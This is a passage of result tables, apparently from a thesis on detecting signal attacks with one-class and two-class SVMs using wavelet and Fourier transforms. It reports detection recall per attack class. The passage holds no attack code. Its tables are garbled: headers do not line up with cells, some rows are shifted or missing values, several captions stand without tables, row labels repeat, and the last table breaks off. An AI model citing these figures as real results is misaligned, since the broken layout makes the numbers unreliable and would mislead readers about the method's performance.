<th>$L_0$ Detection Recall</th>
</tr>
</thead>
<tbody>
<tr>
<td>db2 650 650 0.995</td>
<td>0.997</td>
<td>0.997</td>
<td>1</td>
<td>1</td>
<td>0.997</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>db4 650 650 0.995</td>
<td>0.997</td>
<td>0.997</td>
<td>1</td>
<td>1</td>
<td>0.997</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Sym2 650 650 0.994</td>
<td>0.997</td>
<td>0.996</td>
<td>1</td>
<td>1</td>
<td>0.997</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Sym4 650 650 0.995</td>
<td>0.997</td>
<td>0.997</td>
<td>1</td>
<td>1</td>
<td>0.997</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>db2 650 325 0.992</td>
<td>0.996</td>
<td>0.995</td>
<td>1</td>
<td>1</td>
<td>0.995</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>db4 650 325 0.992</td>
<td>0.996</td>
<td>0.995</td>
<td>1</td>
<td>1</td>
<td>0.995</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Sym2 650 325 0.992</td>
<td>0.996</td>
<td>0.995</td>
<td>1</td>
<td>1</td>
<td>0.994</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Sym4 650 325 0.993</td>
<td>0.996</td>
<td>0.995</td>
<td>1</td>
<td>1</td>
<td>0.994</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>db2 650 162 0.991</td>
<td>0.996</td>
<td>0.994</td>
<td>1</td>
<td>1</td>
<td>0.994</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>db4 650 162 0.991</td>
<td>0.995</td>
<td>0.994</td>
<td>1</td>
<td>1</td>
<td>0.994</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Sym2 650 162 0.991</td>
<td>0.995</td>
<td>0.994</td>
<td>1</td>
<td>1</td>
<td>0.997</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Sym4 650 162 0.989</td>
<td>0.995</td>
<td>0.993</td>
<td>1</td>
<td>1</td>
<td>0.995</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>db2 325 325 0.73</td>
<td>0.836</td>
<td>0.803</td>
<td>0.634</td>
<td>0.617</td>
<td>0.81</td>
<td>0.937</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>db4 325 325 0.728</td>
<td>0.833</td>
<td>0.799</td>
<td>0.615</td>
<td>0.615</td>
<td>0.808</td>
<td>0.937</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Sym2 325 325 0.733</td>
<td>0.838</td>
<td>0.804</td>
<td>0.631</td>
<td>0.62</td>
<td>0.814</td>
<td>0.934</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Sym4 325 325 0.737</td>
<td>0.84</td>
<td>0.807</td>
<td>0.628</td>
<td>0.639</td>
<td>0.808</td>
<td>0.94</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>db2 325 162 0.864</td>
<td>0.923</td>
<td>0.904</td>
<td>0.749</td>
<td>0.757</td>
<td>0.936</td>
<td>0.984</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>db4 325 162 0.867</td>
<td>0.925</td>
<td>0.906</td>
<td>0.748</td>
<td>0.751</td>
<td>0.935</td>
<td>0.985</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Sym2 325 162 0.866</td>
<td>0.924</td>
<td>0.905</td>
<td>0.754</td>
<td>0.755</td>
<td>0.933</td>
<td>0.983</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Sym4 325 162 0.866</td>
<td>0.924</td>
<td>0.905</td>
<td>0.748</td>
<td>0.751</td>
<td>0.933</td>
<td>0.985</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Table 4.5: Detection result for two-class SVM trained with samples from normal and all attack schema which are transformed by different wavelets.
<table>
<thead>
<tr>
<th>Wavelet Function</th>
<th>Normal Detection</th>
<th>Attack Detection</th>
<th>Total Weighted</th>
<th>$H_1$ Detection</th>
<th>$H_0$ Detection</th>
<th>$L_1$ Detection</th>
<th>$L_2$ Detection</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>$\rho_l$</td>
<td>$\rho_s$</td>
<td>$\rho_l$</td>
<td>$\rho_s$</td>
<td>$\rho_l$</td>
<td>$\rho_s$</td>
<td>$\rho_l$</td>
</tr>
<tr>
<td>db2 650</td>
<td>0.992</td>
<td>0.996</td>
<td>0.995</td>
<td>1</td>
<td>1</td>
<td>0.995</td>
<td>1</td>
</tr>
<tr>
<td>db2 650</td>
<td>0.993</td>
<td>0.997</td>
<td>0.995</td>
<td>1</td>
<td>1</td>
<td>0.996</td>
<td>1</td>
</tr>
<tr>
<td>Sym2 650</td>
<td>0.993</td>
<td>0.996</td>
<td>0.995</td>
<td>1</td>
<td>1</td>
<td>0.994</td>
<td>1</td>
</tr>
<tr>
<td>Sym4 650</td>
<td>0.993</td>
<td>0.996</td>
<td>0.995</td>
<td>1</td>
<td>1</td>
<td>0.994</td>
<td>1</td>
</tr>
<tr>
<td>db2 650</td>
<td>0.992</td>
<td>0.996</td>
<td>0.995</td>
<td>1</td>
<td>1</td>
<td>0.992</td>
<td>1</td>
</tr>
<tr>
<td>db2 650</td>
<td>0.993</td>
<td>0.996</td>
<td>0.995</td>
<td>1</td>
<td>1</td>
<td>0.994</td>
<td>1</td>
</tr>
<tr>
<td>Sym2 650</td>
<td>0.993</td>
<td>0.996</td>
<td>0.995</td>
<td>1</td>
<td>1</td>
<td>0.993</td>
<td>1</td>
</tr>
<tr>
<td>Sym4 650</td>
<td>0.993</td>
<td>0.996</td>
<td>0.995</td>
<td>1</td>
<td>1</td>
<td>0.994</td>
<td>1</td>
</tr>
<tr>
<td>db2 650</td>
<td>0.989</td>
<td>0.995</td>
<td>0.993</td>
<td>1</td>
<td>1</td>
<td>0.994</td>
<td>1</td>
</tr>
<tr>
<td>db2 650</td>
<td>0.989</td>
<td>0.994</td>
<td>0.993</td>
<td>1</td>
<td>1</td>
<td>0.993</td>
<td>1</td>
</tr>
<tr>
<td>Sym2 650</td>
<td>0.989</td>
<td>0.994</td>
<td>0.993</td>
<td>1</td>
<td>1</td>
<td>0.993</td>
<td>1</td>
</tr>
<tr>
<td>Sym4 650</td>
<td>0.989</td>
<td>0.994</td>
<td>0.993</td>
<td>1</td>
<td>1</td>
<td>0.993</td>
<td>1</td>
</tr>
<tr>
<td>db2 325</td>
<td>0.743</td>
<td>0.838</td>
<td>0.808</td>
<td>0.619</td>
<td>0.599</td>
<td>0.804</td>
<td>0.933</td>
</tr>
<tr>
<td>db2 325</td>
<td>0.74</td>
<td>0.837</td>
<td>0.806</td>
<td>0.607</td>
<td>0.607</td>
<td>0.802</td>
<td>0.934</td>
</tr>
<tr>
<td>db2 325</td>
<td>0.745</td>
<td>0.839</td>
<td>0.809</td>
<td>0.615</td>
<td>0.609</td>
<td>0.807</td>
<td>0.935</td>
</tr>
<tr>
<td>Sym4 325</td>
<td>0.745</td>
<td>0.84</td>
<td>0.81</td>
<td>0.621</td>
<td>0.626</td>
<td>0.804</td>
<td>0.933</td>
</tr>
<tr>
<td>db2 325</td>
<td>0.862</td>
<td>0.92</td>
<td>0.901</td>
<td>0.734</td>
<td>0.74</td>
<td>0.928</td>
<td>0.984</td>
</tr>
<tr>
<td>db2 325</td>
<td>0.86</td>
<td>0.923</td>
<td>0.904</td>
<td>0.747</td>
<td>0.739</td>
<td>0.93</td>
<td>0.983</td>
</tr>
<tr>
<td>Sym4 325</td>
<td>0.861</td>
<td>0.92</td>
<td>0.901</td>
<td>0.741</td>
<td>0.738</td>
<td>0.927</td>
<td>0.983</td>
</tr>
<tr>
<td>db2 325</td>
<td>0.864</td>
<td>0.922</td>
<td>0.903</td>
<td>0.741</td>
<td>0.737</td>
<td>0.93</td>
<td>0.984</td>
</tr>
<tr>
<td>db2 325</td>
<td>0.866</td>
<td>0.923</td>
<td>0.904</td>
<td>0.732</td>
<td>0.738</td>
<td>0.934</td>
<td>0.98</td>
</tr>
<tr>
<td>db2 325</td>
<td>0.868</td>
<td>0.924</td>
<td>0.906</td>
<td>0.735</td>
<td>0.745</td>
<td>0.934</td>
<td>0.979</td>
</tr>
<tr>
<td>Sym4 325</td>
<td>0.868</td>
<td>0.923</td>
<td>0.905</td>
<td>0.737</td>
<td>0.744</td>
<td>0.935</td>
<td>0.98</td>
</tr>
<tr>
<td>db2 325</td>
<td>0.862</td>
<td>0.726</td>
<td>0.832</td>
<td>0.798</td>
<td>0.632</td>
<td>0.627</td>
<td>0.826</td>
</tr>
<tr>
<td>db2 325</td>
<td>0.73</td>
<td>0.835</td>
<td>0.801</td>
<td>0.639</td>
<td>0.634</td>
<td>0.821</td>
<td>0.896</td>
</tr>
<tr>
<td>Sym2 325</td>
<td>0.731</td>
<td>0.834</td>
<td>0.801</td>
<td>0.634</td>
<td>0.626</td>
<td>0.821</td>
<td>0.892</td>
</tr>
<tr>
<td>Sym4 325</td>
<td>0.731</td>
<td>0.834</td>
<td>0.801</td>
<td>0.634</td>
<td>0.626</td>
<td>0.821</td>
<td>0.892</td>
</tr>
<tr>
<td>db2 162</td>
<td>0.727</td>
<td>0.828</td>
<td>0.795</td>
<td>0.699</td>
<td>0.608</td>
<td>0.815</td>
<td>0.891</td>
</tr>
<tr>
<td>db2 162</td>
<td>0.828</td>
<td>0.795</td>
<td>0.699</td>
<td>0.608</td>
<td>0.815</td>
<td>0.891</td>
<td></td>
</tr>
<tr>
<td>Sym2 162</td>
<td>0.731</td>
<td>0.831</td>
<td>0.799</td>
<td>0.611</td>
<td>0.613</td>
<td>0.818</td>
<td>0.893</td>
</tr>
<tr>
<td>Sym4 162</td>
<td>0.731</td>
<td>0.829</td>
<td>0.797</td>
<td>0.608</td>
<td>0.61</td>
<td>0.814</td>
<td>0.893</td>
</tr>
<tr>
<td>db2 162</td>
<td>0.729</td>
<td>0.83</td>
<td>0.798</td>
<td>0.619</td>
<td>0.609</td>
<td>0.815</td>
<td>0.894</td>
</tr>
<tr>
<td>db2 162</td>
<td>0.473</td>
<td>0.829</td>
<td>0.801</td>
<td>0.57</td>
<td>0.574</td>
<td>0.816</td>
<td>0.893</td>
</tr>
<tr>
<td>db2 162</td>
<td>0.747</td>
<td>0.832</td>
<td>0.805</td>
<td>0.577</td>
<td>0.581</td>
<td>0.815</td>
<td>0.891</td>
</tr>
<tr>
<td>Sym2 162</td>
<td>0.742</td>
<td>0.828</td>
<td>0.8</td>
<td>0.568</td>
<td>0.572</td>
<td>0.816</td>
<td>0.891</td>
</tr>
<tr>
<td>Sym4 162</td>
<td>0.746</td>
<td>0.832</td>
<td>0.804</td>
<td>0.582</td>
<td>0.581</td>
<td>0.816</td>
<td>0.891</td>
</tr>
<tr>
<td>db2 81</td>
<td>0.673</td>
<td>0.777</td>
<td>0.744</td>
<td>0.54</td>
<td>0.54</td>
<td>0.75</td>
<td>0.823</td>
</tr>
<tr>
<td>db2 81</td>
<td>0.669</td>
<td>0.778</td>
<td>0.743</td>
<td>0.547</td>
<td>0.549</td>
<td>0.752</td>
<td>0.826</td>
</tr>
<tr>
<td>Sym2 81</td>
<td>0.672</td>
<td>0.777</td>
<td>0.743</td>
<td>0.543</td>
<td>0.54</td>
<td>0.746</td>
<td>0.824</td>
</tr>
<tr>
<td>Sym4 81</td>
<td>0.668</td>
<td>0.776</td>
<td>0.741</td>
<td>0.541</td>
<td>0.545</td>
<td>0.749</td>
<td>0.824</td>
</tr>
<tr>
<td>db2 81</td>
<td>0.68</td>
<td>0.776</td>
<td>0.745</td>
<td>0.523</td>
<td>0.525</td>
<td>0.747</td>
<td>0.822</td>
</tr>
<tr>
<td>db2 81</td>
<td>0.678</td>
<td>0.778</td>
<td>0.746</td>
<td>0.532</td>
<td>0.527</td>
<td>0.75</td>
<td>0.824</td>
</tr>
<tr>
<td>Sym2 81</td>
<td>0.679</td>
<td>0.776</td>
<td>0.745</td>
<td>0.523</td>
<td>0.524</td>
<td>0.746</td>
<td>0.823</td>
</tr>
<tr>
<td>Sym4 81</td>
<td>0.68</td>
<td>0.777</td>
<td>0.746</td>
<td>0.526</td>
<td>0.522</td>
<td>0.748</td>
<td>0.825</td>
</tr>
<tr>
<td>db2 81</td>
<td>0.684</td>
<td>0.778</td>
<td>0.748</td>
<td>0.517</td>
<td>0.517</td>
<td>0.751</td>
<td>0.827</td>
</tr>
<tr>
<td>db2 81</td>
<td>0.682</td>
<td>0.779</td>
<td>0.748</td>
<td>0.523</td>
<td>0.524</td>
<td>0.753</td>
<td>0.829</td>
</tr>
<tr>
<td>Sym2 81</td>
<td>0.684</td>
<td>0.778</td>
<td>0.747</td>
<td>0.517</td>
<td>0.517</td>
<td>0.75</td>
<td>0.827</td>
</tr>
<tr>
<td>Sym4 81</td>
<td>0.683</td>
<td>0.779</td>
<td>0.748</td>
<td>0.519</td>
<td>0.52</td>
<td>0.752</td>
<td>0.828</td>
</tr>
</tbody>
</table>

Table 4.6: Detection result for two-class SVM trained with samples from normal and all attack schema which are transformed by both wavelets and Fourier transformations.
Table 4.7: Detection result for two-class SVM trained with samples from normal and one attack schema without any transformation.
Table 4.8: Detection result for two-class SVM trained with samples from normal and one attack schema which are transformed by Fourier transformation.
<table>
<thead>
<tr>
<th>Trained with Encoding</th>
<th>$p_1$</th>
<th>$p_s$</th>
<th>Normal Detection Recall</th>
<th>Attack Detection Recall</th>
<th>Total Weighted Recall</th>
<th>$H_1$ Detection Recall</th>
<th>$H_0$ Detection Recall</th>
<th>$L_1$ Detection Recall</th>
<th>$L_0$ Detection Recall</th>
</tr>
</thead>
<tbody>
<tr>
<td>$H_1$</td>
<td>650</td>
<td>650</td>
<td>0.997</td>
<td>0.996</td>
<td>0.997</td>
<td>0.933</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>$L_0$</td>
<td>650</td>
<td>650</td>
<td>0.999</td>
<td>0.998</td>
<td>0.998</td>
<td>0.999</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>$H_1$</td>
<td>650</td>
<td>325</td>
<td>0.999</td>
<td>0.998</td>
<td>0.998</td>
<td>0.997</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>$L_0$</td>
<td>650</td>
<td>325</td>
<td>0.999</td>
<td>0.997</td>
<td>0.997</td>
<td>0.933</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>$H_1$</td>
<td>650</td>
<td>325</td>
<td>0.992</td>
<td>0.998</td>
<td>0.998</td>
<td>0.997</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>$L_0$</td>
<td>650</td>
<td>325</td>
<td>0.995</td>
<td>0.994</td>
<td>0.994</td>
<td>0.933</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>$H_1$</td>
<td>650</td>
<td>162</td>
<td>0.995</td>
<td>0.994</td>
<td>0.994</td>
<td>0.997</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>$L_0$</td>
<td>650</td>
<td>162</td>
<td>0.995</td>
<td>0.994</td>
<td>0.994</td>
<td>0.933</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>$H_1$</td>
<td>650</td>
<td>81</td>
<td>0.995</td>
<td>0.994</td>
<td>0.994</td>
<td>0.997</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>$L_0$</td>
<td>650</td>
<td>81</td>
<td>0.995</td>
<td>0.994</td>
<td>0.994</td>
<td>0.933</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>$H_1$</td>
<td>650</td>
<td>40</td>
<td>0.995</td>
<td>0.994</td>
<td>0.994</td>
<td>0.997</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>$L_0$</td>
<td>650</td>
<td>40</td>
<td>0.995</td>
<td>0.994</td>
<td>0.994</td>
<td>0.933</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>$H_1$</td>
<td>650</td>
<td>20</td>
<td>0.995</td>
<td>0.994</td>
<td>0.994</td>
<td>0.997</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>$L_0$</td>
<td>650</td>
<td>20</td>
<td>0.995</td>
<td>0.994</td>
<td>0.994</td>
<td>0.933</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>$H_1$</td>
<td>650</td>
<td>10</td>
<td>0.995</td>
<td>0.994</td>
<td>0.994</td>
<td>0.997</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>$L_0$</td>
<td>650</td>
<td>10</td>
<td>0.995</td>
<td>0.994</td>
<td>0.994</td>
<td>0.933</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
</tbody>
</table>

Table 4.9: Detection result for two-class SVM trained with samples from normal and one attack schema which are transformed by wavelet db2 transformation.
<table>
<thead>
<tr>
<th>Trained with Encoding</th>
<th>( \rho_l )</th>
<th>( \rho_s )</th>
<th>Normal Detection Recall</th>
<th>Attack Detection Recall</th>
<th>Total Weighted Recall</th>
<th>( H_1 ) Detection Recall</th>
<th>( H_0 ) Detection Recall</th>
<th>( L_1 ) Detection Recall</th>
<th>( L_0 ) Detection Recall</th>
</tr>
</thead>
<tbody>
<tr>
<td>( H_1 )</td>
<td>650</td>
<td>650</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0.798</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>( H_0 )</td>
<td>650</td>
<td>650</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>( L_0 )</td>
<td>650</td>
<td>650</td>
<td>0.992</td>
<td>0.989</td>
<td>0.991</td>
<td>1</td>
<td>0.999</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>( L_1 )</td>
<td>650</td>
<td>325</td>
<td>0.999</td>
<td>0.999</td>
<td>0.999</td>
<td>0.796</td>
<td>0</td>
<td>0.008</td>
<td>0</td>
</tr>
<tr>
<td>( L_2 )</td>
<td>650</td>
<td>325</td>
<td>0.999</td>
<td>0.999</td>
<td>0.999</td>
<td>0.796</td>
<td>0</td>
<td>0.008</td>
<td>0</td>
</tr>
<tr>
<td>( H_1 )</td>
<td>325</td>
<td>903</td>
<td>0.903</td>
<td>0.664</td>
<td>0.832</td>
<td>0.661</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>( H_0 )</td>
<td>325</td>
<td>903</td>
<td>0.903</td>
<td>0.664</td>
<td>0.832</td>
<td>0.661</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>( L_1 )</td>
<td>325</td>
<td>903</td>
<td>0.903</td>
<td>0.664</td>
<td>0.832</td>
<td>0.661</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>( L_2 )</td>
<td>325</td>
<td>903</td>
<td>0.903</td>
<td>0.664</td>
<td>0.832</td>
<td>0.661</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>( H_1 )</td>
<td>325</td>
<td>903</td>
<td>0.903</td>
<td>0.664</td>
<td>0.832</td>
<td>0.661</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>( H_0 )</td>
<td>325</td>
<td>903</td>
<td>0.903</td>
<td>0.664</td>
<td>0.832</td>
<td>0.661</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>( L_1 )</td>
<td>81</td>
<td>81</td>
<td>0.988</td>
<td>0.979</td>
<td>0.985</td>
<td>0.601</td>
<td>0.627</td>
<td>0.853</td>
<td>0.918</td>
</tr>
<tr>
<td>( L_2 )</td>
<td>81</td>
<td>81</td>
<td>0.988</td>
<td>0.979</td>
<td>0.985</td>
<td>0.601</td>
<td>0.627</td>
<td>0.853</td>
<td>0.918</td>
</tr>
<tr>
<td>( H_1 )</td>
<td>162</td>
<td>162</td>
<td>0.891</td>
<td>0.81</td>
<td>0.81</td>
<td>0.653</td>
<td>0.833</td>
<td>0.898</td>
<td>0.984</td>
</tr>
<tr>
<td>( H_0 )</td>
<td>162</td>
<td>162</td>
<td>0.894</td>
<td>0.815</td>
<td>0.815</td>
<td>0.632</td>
<td>0.835</td>
<td>0.901</td>
<td>0.984</td>
</tr>
<tr>
<td>( L_1 )</td>
<td>162</td>
<td>162</td>
<td>0.923</td>
<td>0.85</td>
<td>0.895</td>
<td>0.609</td>
<td>0.63</td>
<td>0.918</td>
<td>0.984</td>
</tr>
<tr>
<td>( L_2 )</td>
<td>162</td>
<td>162</td>
<td>0.951</td>
<td>0.91</td>
<td>0.936</td>
<td>0.601</td>
<td>0.627</td>
<td>0.853</td>
<td>0.918</td>
</tr>
<tr>
<td>( H_1 )</td>
<td>162</td>
<td>81</td>
<td>0.893</td>
<td>0.82</td>
<td>0.81</td>
<td>0.657</td>
<td>0.831</td>
<td>0.886</td>
<td>0.918</td>
</tr>
<tr>
<td>( H_0 )</td>
<td>162</td>
<td>81</td>
<td>0.897</td>
<td>0.82</td>
<td>0.82</td>
<td>0.628</td>
<td>0.832</td>
<td>0.898</td>
<td>0.886</td>
</tr>
<tr>
<td>( L_1 )</td>
<td>162</td>
<td>81</td>
<td>0.923</td>
<td>0.84</td>
<td>0.894</td>
<td>0.603</td>
<td>0.634</td>
<td>0.984</td>
<td>0.918</td>
</tr>
<tr>
<td>( L_2 )</td>
<td>162</td>
<td>81</td>
<td>0.949</td>
<td>0.904</td>
<td>0.932</td>
<td>0.587</td>
<td>0.632</td>
<td>0.852</td>
<td>0.984</td>
</tr>
<tr>
<td>( H_1 )</td>
<td>162</td>
<td>40</td>
<td>0.899</td>
<td>0.651</td>
<td>0.825</td>
<td>0.661</td>
<td>0.809</td>
<td>0.874</td>
<td>0.884</td>
</tr>
<tr>
<td>( H_0 )</td>
<td>162</td>
<td>40</td>
<td>0.9</td>
<td>0.655</td>
<td>0.827</td>
<td>0.627</td>
<td>0.816</td>
<td>0.882</td>
<td>0.895</td>
</tr>
<tr>
<td>( L_1 )</td>
<td>162</td>
<td>40</td>
<td>0.931</td>
<td>0.869</td>
<td>0.907</td>
<td>0.643</td>
<td>0.637</td>
<td>0.862</td>
<td>0.925</td>
</tr>
<tr>
<td>( L_2 )</td>
<td>162</td>
<td>40</td>
<td>0.954</td>
<td>0.915</td>
<td>0.94</td>
<td>0.595</td>
<td>0.637</td>
<td>0.862</td>
<td>0.925</td>
</tr>
<tr>
<td>( H_1 )</td>
<td>81</td>
<td>81</td>
<td>0.87</td>
<td>0.532</td>
<td>0.769</td>
<td>0.598</td>
<td>0.785</td>
<td>0.861</td>
<td>0.861</td>
</tr>
<tr>
<td>( H_0 )</td>
<td>81</td>
<td>81</td>
<td>0.871</td>
<td>0.534</td>
<td>0.77</td>
<td>0.592</td>
<td>0.786</td>
<td>0.861</td>
<td>0.861</td>
</tr>
<tr>
<td>( L_1 )</td>
<td>81</td>
<td>81</td>
<td>0.889</td>
<td>0.776</td>
<td>0.846</td>
<td>0.559</td>
<td>0.563</td>
<td>0.871</td>
<td>0.861</td>
</tr>
<tr>
<td>( L_2 )</td>
<td>81</td>
<td>81</td>
<td>0.919</td>
<td>0.845</td>
<td>0.891</td>
<td>0.556</td>
<td>0.56</td>
<td>0.796</td>
<td>0.861</td>
</tr>
<tr>
<td>( H_1 )</td>
<td>81</td>
<td>40</td>
<td>0.879</td>
<td>0.558</td>
<td>0.783</td>
<td>0.563</td>
<td>0.789</td>
<td>0.862</td>
<td>0.861</td>
</tr>
<tr>
<td>( H_0 )</td>
<td>81</td>
<td>40</td>
<td>0.878</td>
<td>0.559</td>
<td>0.782</td>
<td>0.597</td>
<td>0.792</td>
<td>0.865</td>
<td>0.861</td>
</tr>
<tr>
<td>( L_1 )</td>
<td>81</td>
<td>40</td>
<td>0.901</td>
<td>0.801</td>
<td>0.863</td>
<td>0.561</td>
<td>0.569</td>
<td>0.88</td>
<td>0.861</td>
</tr>
<tr>
<td>( L_2 )</td>
<td>81</td>
<td>40</td>
<td>0.928</td>
<td>0.859</td>
<td>0.902</td>
<td>0.546</td>
<td>0.557</td>
<td>0.88</td>
<td>0.861</td>
</tr>
<tr>
<td>( H_1 )</td>
<td>81</td>
<td>20</td>
<td>0.88</td>
<td>0.559</td>
<td>0.784</td>
<td>0.59</td>
<td>0.79</td>
<td>0.86</td>
<td>0.86</td>
</tr>
<tr>
<td>( H_0 )</td>
<td>81</td>
<td>20</td>
<td>0.88</td>
<td>0.559</td>
<td>0.784</td>
<td>0.59</td>
<td>0.79</td>
<td>0.86</td>
<td>0.86</td>
</tr>
<tr>
<td>( L_1 )</td>
<td>81</td>
<td>20</td>
<td>0.903</td>
<td>0.805</td>
<td>0.866</td>
<td>0.558</td>
<td>0.566</td>
<td>0.88</td>
<td>0.86</td>
</tr>
<tr>
<td>( L_2 )</td>
<td>81</td>
<td>20</td>
<td>0.932</td>
<td>0.868</td>
<td>0.908</td>
<td>0.553</td>
<td>0.562</td>
<td>0.813</td>
<td>0.86</td>
</tr>
</tbody>
</table>

Table 4.10: Detection result for two-class SVM trained with samples from normal and one attack schema which are transformed by both wavelet db2 and Fourier transformations.
Table 4.11: Detection result for one-class SVM trained with normal signal samples without any transformation.

<table>
<thead>
<tr>
<th>$\rho_l$</th>
<th>$\rho_s$</th>
<th>Normal Detection Recall</th>
<th>Attack Detection Recall</th>
<th>$H_1$ Recall</th>
<th>$H_0$ Recall</th>
<th>$L_1$ Recall</th>
<th>$L_0$ Recall</th>
</tr>
</thead>
<tbody>
<tr>
<td>650</td>
<td>650</td>
<td>0.984</td>
<td>0.956</td>
<td>0.819</td>
<td>1</td>
<td>0.977</td>
<td>1</td>
</tr>
<tr>
<td>650</td>
<td>325</td>
<td>0.99</td>
<td>0.995</td>
<td>0.997</td>
<td>1</td>
<td>0.984</td>
<td>1</td>
</tr>
<tr>
<td>650</td>
<td>162</td>
<td>0.99</td>
<td>0.994</td>
<td>0.997</td>
<td>1</td>
<td>0.982</td>
<td>1</td>
</tr>
<tr>
<td>325</td>
<td>325</td>
<td>0.99</td>
<td>0.651</td>
<td>0.512</td>
<td>0.512</td>
<td>0.697</td>
<td>0.8</td>
</tr>
<tr>
<td>325</td>
<td>162</td>
<td>0.99</td>
<td>0.741</td>
<td>0.593</td>
<td>0.607</td>
<td>0.793</td>
<td>0.888</td>
</tr>
<tr>
<td>325</td>
<td>81</td>
<td>0.99</td>
<td>0.586</td>
<td>0.742</td>
<td>0.586</td>
<td>0.611</td>
<td>0.886</td>
</tr>
<tr>
<td>162</td>
<td>162</td>
<td>0.99</td>
<td>0.587</td>
<td>0.399</td>
<td>0.409</td>
<td>0.659</td>
<td>0.775</td>
</tr>
<tr>
<td>162</td>
<td>81</td>
<td>0.987</td>
<td>0.596</td>
<td>0.409</td>
<td>0.425</td>
<td>0.673</td>
<td>0.771</td>
</tr>
<tr>
<td>162</td>
<td>40</td>
<td>0.99</td>
<td>0.588</td>
<td>0.4</td>
<td>0.413</td>
<td>0.665</td>
<td>0.766</td>
</tr>
<tr>
<td>81</td>
<td>81</td>
<td>0.99</td>
<td>0.499</td>
<td>0.252</td>
<td>0.331</td>
<td>0.596</td>
<td>0.693</td>
</tr>
<tr>
<td>81</td>
<td>40</td>
<td>0.99</td>
<td>0.537</td>
<td>0.327</td>
<td>0.36</td>
<td>0.624</td>
<td>0.725</td>
</tr>
<tr>
<td>81</td>
<td>20</td>
<td>0.99</td>
<td>0.538</td>
<td>0.328</td>
<td>0.361</td>
<td>0.625</td>
<td>0.723</td>
</tr>
</tbody>
</table>

Table 4.12: Detection result for one-class SVM trained with normal signal samples which are transformed by different Fourier transformation.
<table>
<thead>
<tr>
<th>Wavelet Function</th>
<th>n</th>
<th>m</th>
<th>( p_l )</th>
<th>( p_s )</th>
<th>Normal Detection Recall</th>
<th>Attack Detection Recall</th>
</tr>
</thead>
<tbody>
<tr>
<td>db2</td>
<td>650</td>
<td>650</td>
<td>1</td>
<td></td>
<td>0.454</td>
<td>0.204</td>
</tr>
<tr>
<td>db4</td>
<td>650</td>
<td>650</td>
<td>1</td>
<td></td>
<td>0.47</td>
<td>0.216</td>
</tr>
<tr>
<td>sym2</td>
<td>650</td>
<td>650</td>
<td>1</td>
<td></td>
<td>0.454</td>
<td>0.204</td>
</tr>
<tr>
<td>sym4</td>
<td>650</td>
<td>650</td>
<td>1</td>
<td></td>
<td>0.458</td>
<td>0.204</td>
</tr>
<tr>
<td>db2</td>
<td>650</td>
<td>325</td>
<td>0.99</td>
<td></td>
<td>0.364</td>
<td>0.121</td>
</tr>
<tr>
<td>db4</td>
<td>650</td>
<td>325</td>
<td>0.99</td>
<td></td>
<td>0.369</td>
<td>0.123</td>
</tr>
<tr>
<td>sym2</td>
<td>650</td>
<td>325</td>
<td>0.99</td>
<td></td>
<td>0.364</td>
<td>0.121</td>
</tr>
<tr>
<td>sym4</td>
<td>650</td>
<td>325</td>
<td>0.99</td>
<td></td>
<td>0.369</td>
<td>0.123</td>
</tr>
<tr>
<td>db2</td>
<td>650</td>
<td>162</td>
<td>0.99</td>
<td></td>
<td>0.328</td>
<td>0.101</td>
</tr>
<tr>
<td>db4</td>
<td>650</td>
